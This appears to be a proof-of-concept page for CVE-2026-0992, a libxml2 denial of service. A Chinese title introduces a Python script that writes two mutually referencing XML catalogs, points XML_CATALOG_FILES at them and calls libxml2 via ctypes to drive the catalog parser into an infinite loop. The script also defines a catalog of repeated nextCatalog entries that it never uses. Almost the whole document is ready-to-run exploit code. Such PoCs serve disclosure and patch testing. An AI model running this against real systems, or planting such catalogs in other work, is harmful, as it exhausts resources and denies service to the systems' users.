CVE-2026-0992: libxml2 XML目录循环引用导致拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-0992 PoC: libxml2 XML Catalog Infinite Loop This PoC demonstrates how circular <nextCatalog> references can cause uncontrolled resource consumption in libxml2's catalog parser. """ import os import tempfile import time from ctypes import CDLL, c_char_p, POINTER, c_int def create_circular_catalogs(): """Create circular referencing XML catalogs""" catalog1 = '''<?xml version="1.0"?> <catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog"> <nextCatalog catalog="catalog2.xml"/> </catalog>''' catalog2 = '''<?xml version="1.0"?> <catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog"> <nextCatalog catalog="catalog1.xml"/> </catalog>''' return catalog1, catalog2 def create_repeated_nextCatalog(): """Create catalog with repeated nextCatalog pointing to same file""" catalog = '''<?xml version="1.0"?> <catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog"> <nextCatalog catalog="target.xml"/> <nextCatalog catalog="target.xml"/> <nextCatalog catalog="target.xml"/> <nextCatalog catalog="target.xml"/> <nextCatalog catalog="target.xml"/> <!-- Repeat thousands of times --> </catalog>''' return catalog def trigger_vulnerability(): """Trigger libxml2 catalog parsing vulnerability""" with tempfile.TemporaryDirectory() as tmpdir: # Create circular catalogs catalog1, catalog2 = create_circular_catalogs() with open(os.path.join(tmpdir, 'catalog1.xml'), 'w') as f: f.write(catalog1) with open(os.path.join(tmpdir, 'catalog2.xml'), 'w') as f: f.write(catalog2) # Set catalog environment variable catalog_path = os.path.join(tmpdir, 'catalog1.xml') os.environ['XML_CATALOG_FILES'] = catalog_path # Attempt to parse - will trigger infinite loop try: libxml2 = CDLL('libxml2.so.2') xmlParseCatalog = libxml2.xmlParseCatalog xmlParseCatalog.restype = c_int xmlParseCatalog.argtypes = [c_char_p] # This call will cause excessive CPU consumption result = xmlParseCatalog(catalog_path.encode('utf-8')) print(f'Catalog parsing returned: {result}') except Exception as e: print(f'Error: {e}') print('Note: Requires libxml2 development libraries') if __name__ == '__main__': print('CVE-2026-0992 PoC - libxml2 Catalog DoS') print('WARNING: This may cause high CPU usage!') trigger_vulnerability()